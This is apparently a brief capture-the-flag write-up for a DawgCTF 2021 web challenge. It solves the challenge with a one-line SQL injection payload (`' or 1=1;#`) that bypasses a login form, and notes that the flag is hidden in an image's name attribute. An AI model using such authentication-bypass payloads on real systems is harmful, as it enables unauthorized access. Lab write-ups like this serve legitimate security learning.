> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/dawgctf-2021/dr.-hrabowskis-great-adventure.md).

# Dr. Hrabowski's Great Adventure

SQL Injection

## Problem

President Freeman Hrabowski is having a relaxing evening in Downtown Baltimore. But he forgot his password to give all UMBC students an A in all their classes this semester! Find a way to log in and help him out.

<http://umbccd.io:6100>

(If you get an SSL error, try a different browser)

Author: Clearedge

## Solution

To bypass authentication, the basic payload `username=admin&password=' or 1=1;#` works.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-d63d24053a0e8cd32f3adc38942656af0d160179%2F8d7eb263aeb5434c9835d0a3fa572332.png?alt=media)

The flag is in the image's name attribute.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-890676364a35fad0f01ea4ed9435a866760a7612%2F235ff949ca504c40bab1ab88d85c2e88.png?alt=media)